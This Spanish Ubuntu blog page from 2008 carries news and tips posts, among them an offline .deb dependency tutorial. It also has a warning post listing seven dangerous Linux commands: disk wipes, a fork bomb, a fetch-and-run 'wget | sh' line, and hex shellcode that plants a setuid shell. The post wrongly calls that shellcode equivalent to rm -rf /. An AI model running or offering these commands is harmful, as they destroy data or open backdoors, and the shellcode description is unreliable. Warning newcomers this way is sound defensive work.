Disponible Ubuntu 9.04 (Jaunty Jackalope) Alpha 1

Ya se encuentra disponible para descarga la primera alpha de la futura version de Ubuntu. Ni que decir tiene que esta version esta destinada para testing o para gente impaciente que desea ir probando las nuevas funciones, no es adecuada para un entorno en produccion. Asi que si tu version actual de ubuntu funciona no es necesario que la instales y creo que es mejor esperar a que vayan saliendo nuevas versiones o si acaso quieres testearla es mas aconsejable montarla en una maquina virtual.

Human 2 Final Theme

human2

Descarga | Gnome-Look

Naked y Slim Glow Plasma themes

naked

2 temas para Plasma (KDE 4) que me gustan: Son Naked y Slim Glow. Particulamente ahora uso Naked, le da al panel un efecto de transparencia que me recuerda a este mockup para Gnome 3 (visto en OcioLinux).

mockupgnome

Por cierto, por recomendacion de un lector, y ya que muchas veces cuelgo temas de KDE y Gnome (y espero que algun que otro para XFCE u otros gestores), he añadido una nueva etiqueta llamada “Themes” para localizar facilmente todos estos posts.

Banners: “Yo si uso Software Libre”

banners

Bonita coleccion de banners para colgar en nuestra web o imprimir y pegar en nuestros equipos.

Descarga | Tatica.org y Marvin & Familia

Colored Particles Wallpaper

colored

Descarga | Gnome-Look

Ver las dependencias de un paquete .deb

Cuando empece en Ubuntu, yo no tenia Internet en casa, Asi que cuando queria instalarme una aplicacion en mi equipo, me lo tenia que instalar en otro equipo previamente, uno que si tuviera acceso a internet y despues con una llave USB me llevaba los paquetes descargados a mi Pc para instalarlos.

Todos los paquetes descargados en un equipo se van guardando en el directorio /var/cache/apt/archives. Asi que si por ejemplo en ese PC instalas un reproductor de videos como puede ser “vlc”:

$ sudo aptitude install vlc

Todos los paquetes de VLC y sus dependencias se dejan en ese directorio /var/cache/apt/archives, asi que podrias llevartelos en una llave USB a un PC que no tenga internet. Copiarlos todos juntos a un directorio y luego ir haciendo click uno a uno en cada .deb para ir instalandolo de manera individual o acaso ejecutar el comando:

$ sudo dpkg -i *.deb

Para instalar todos los paquetes .deb del directorio de golpe.

Sin embargo este metodo es mucho de “ensayo y error”, porque llegas a tu casa tan contento, y cuando instalas un paquete .deb te sale un error diciendo que no puede instalarse porque le falta una dependencia no satisfecha (otro paquete .deb), asi que tienes que ir anotando los que te faltan y otra vez ir al Pc con acceso a internet, descargartelo o cogerlo de /apt/cache/archives y otra vez vuelta a empezar, hasta que por fin, consigues satisfacer todas las dependencias y tu aplicacion se instala.

Luego con el tiempo descubri AptonCD, con esta aplicacion puedes crearte un repositorio local de todos los paquetes descargados en un equipo, grabarlo a CD por ejemplo y llevarte ese CD a otra maquina sin internet para poder instalar comodamente todos los archivos. AptonCD me hubiera ahorrado muchos de esos viajes con la llave USB.

De todas formas existe tambien una forma de ver las dependencias que tiene un paquete .deb sin necesidad de instalarlo. Esto nos vendra muy bien para bajarnos ese paquete .deb, y todas sus dependencias, de golpe, facilitandonos estas instalaciones “tan traumaticas” si no tenemos internet.

El comando en cuestion es: dpkg-deb -I nombre_paquete_deb

Por ejemplo, si quisieramos saber que dependencias tiene “python-glade2_2.13.0-0ubuntu8_i386.deb” ejecutariamos:

root@soledad:~/Escritorio$dpkg-deb -I python-glade2_2.13.0-0ubuntu8_i386.deb
paquete debian nuevo, versión 2.0.
tamaño 46858 bytes: archivo de control= 1120 bytes.
1154 bytes, 20 líneas control
433 bytes, 5 líneas md5sums
183 bytes, 7 líneas * postinst #!/bin/sh
186 bytes, 7 líneas * prerm #!/bin/sh
Package: python-glade2
Source: pygtk
Version: 2.13.0-0ubuntu8
Architecture: i386
Maintainer: Ubuntu Desktop Team
Installed-Size: 156
Depends: python (<< 2.6), python (>= 2.4), python-support (>= 0.7.1), libatk1.0-0 (>= 1.20.0), libc6 (>= 2.2), libcairo2 (>= 1.2.4), libfontconfig1 (>= 2.4.0), libfreetype6 (>= 2.3.5), libglade2-0 (>= 1:2.6.1), libglib2.0-0 (>= 2.16.0), libgtk2.0-0 (>= 2.14.1), libpango1.0-0 (>= 1.21.6), libxml2 (>= 2.6.27), zlib1g (>= 1:1.1.4), python-gtk2 (= 2.13.0-0ubuntu8)
Suggests: python-gtk2-doc
Conflicts: python-gdk-imlib, python-glade, python-gnome, python-gtk, python2.3-glade2, python2.4-glade2
Provides: python2.4-glade2, python2.5-glade2
Section: python
Priority: optional
Description: GTK+ bindings: Glade support
Contains bindings for the glade library from use within Python. Glade
makes it very easy to create a user interface. In the target
application you just need to load the interface description from
the .glade file instead of constructing the GUI at runtime.
.
URL: http://www.daa.com.au/~james/software/pygtk/
Original-Maintainer: Sebastien Bacher

He subrayado en negrita la parte del comando donde nos indica que paquetes tenemos que tener instalados para que este paquete se instale correctamente. Si los tenemos ya instalados en nuestra maquina, .. perfecto…, en otro caso tenemos que descargarlos previamente.

Si quieres descargar un paquete .deb sin necesidad de instalarlo, puedes ejecutar el comando: aptitude download

Ejemplo:

root@soledad:~/Escritorio$aptitude download vlc
Leyendo lista de paquetes… Hecho
Creando árbol de dependencias
Leyendo la información de estado… Hecho
Leyendo la información de estado extendido
Inicializando el estado de los paquetes… Hecho
Des:1 http://es.archive.ubuntu.com intrepid/multiverse vlc 0.9.4-1ubuntu3 [1668kB]
Descargados 1668kB en 30s (55,4kB/s).

Asi que combinando estos dos comandos, ya podemos ir descargandonos una aplicacion y todas sus dependencias asociadas para luego poder llevarnosla a otra maquina.

Por ultimo comentar, que las dependencias de un paquete .deb tambien pueden verse desde Synaptic (el gestor grafico de paquetes de Ubuntu en Gnome). Abririamos Synaptic, meteriamos en la cadena de busqueda el paquete que queremos localizar (p.ej “vlc”) y cuando aparezca en el listado, lo seleccionamos, pulsamos click derecho > Propiedades y en una de las pestañas de la nueva ventana que se abre, ya podemos ver las dependencias asociadas.

dependencias

Importante recordarte que un paquete .deb solo se instalara si es correcto y tiene satisfechas todas sus dependencias (es decir, estan instaladas previamente en tu maquina). En otro caso, el gestor de paquetes te mostara un error del tipo “Dependencia no satisfecha” y te mostrara el nombre de la dependecia que te falta por instalar. Esto a veces se hace largo pues por ejemplo una aplicacion depende de dos, y una de estas dos a su vez depende de otras, ect… pero tranquilo que llega un momento donde ya se terminan las dependencias y el programa se instala.

7 Comandos maliciosos para Linux (Nunca pero nunca los ejecutes)

terminatortux

Linux tampoco esta libre de usuarios malintencionados y si eres nuevo en este entorno no esta de mas que conozcas estas cosas. Existen comandos que no es recomendable ejecutar en nuestro sistema o evitar ejecutar si estan contenidos dentro de shell scripts. Yo siempre digo que no hagais Copy & Paste al tuntun de comandos, o si os bajais algun script de un sitio que no conozcais, lo editeis al menos antes y echeis un vistazo a su contenido para evitar luego males mayores.

Algunos de estos comandos “peligrosos” son:

1. rm -rf /

Este comando borra recursivamente todos los ficheros almacenados en el directorio root. Vendria a ser el equivalente (mas o menos) a un FORMAT C: en Windows.

2.

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta es el mismo comando que el anterior, pero escrito en su forma hexadecimal.

3. mkfs.ext3 /dev/sda

Formatea el sistema de archivos que se encuentra en /dev/sda (que generalmente es nuestro disco duro).

4. :(){:|:&};:

Conocido tambien como forkbomb, Este comando comenzara a crear y ejecutar un elevado numero de procesos en el sistema hasta que este se bloquee.

5. cualquier_comando > /dev/sda

Sobreescribe el dispositivo de bloques (/dev/sda) con la salida del comando ejecutado, generalmente borrando el contenido actual del dispositivo y provocado la perdida total de datos.

6. wget http://alguna_url -O- | sh

Este comando descargara un fichero ejecutable o script y lo ejecutara. Si el sitio no es confiable podria ser contenido malicioso.

7. mv /home/tu_usuario/* /dev/null

Mueve todas las carpetas de tu home a /dev/null, lo que provoca que sean borradas (eliminadas).

Fuentes | Malogey y Deadly Linux Commands

Essential MySQL

mysql

(requiere registro). Nuevas tarjetas disponibles en RefCardZ. Especialmente util la tarjeta de referencia de MySQL.

Descarga | RefCardZ

1 año de PC Magazine gratuito

pcmag

A partir de ahora no habra edicion en papel de PC Magazine, solo estara disponible en formato online. Aun asi, los “fans” de esta revista podemos tener un año de suscripcion gratuita si indicamos nuestra direccion de correo en GoReadGreen.com.

Visto en | LifeHacker

Disponible Netbeans 6.5

netb-start-9

Disponible una nueva version de este IDE de desarrollo y trae un “porron” de novedades. Su instalacion es muy sencilla, pero si acaso teneis problema podeis consultar el siguiente enlace.

Enlace | Instalando netbeans 6.5 en ubuntu

Entradas siguientes »


Countdown von Ubuntu 8.10 (intrepid ibex)
TRABAJANDO EN EL NUEVO UBUNTU LIFE
Problemas en el servidor, me han obligado a abandonar temporalmente www.ubuntulife.net y ahora escribo solo en ubuntulife.wordpress.com, estoy trabajando en el nuevo sitio y espero añadir novedades. Sugerencias son bienvenidas. ( Lee mas )

WALLPAPERS LIFE ( Muchos fondos de pantalla, aqui )

DESCARGATE SCIFI LIFE

365 Dias de Soledad
Me debes los sueños, las promesas y las noches rotas. Me debes la paz, la sonrisa y la esperanza robadas. Me debes la sangre, las lágrimas y el sudor vertido. Me debes las noches vacías, los abrazos anhelados. Me debes un beso de ajenjo de tu amarga boca.

The Ubuntu Counter Project - user number # 11961
Geo Visitors Map

 

Noviembre 2008
L M X J V S D
« Oct    
 12
3456789
10111213141516
17181920212223
24252627282930

Blog Stats

  • 2,446,969 hits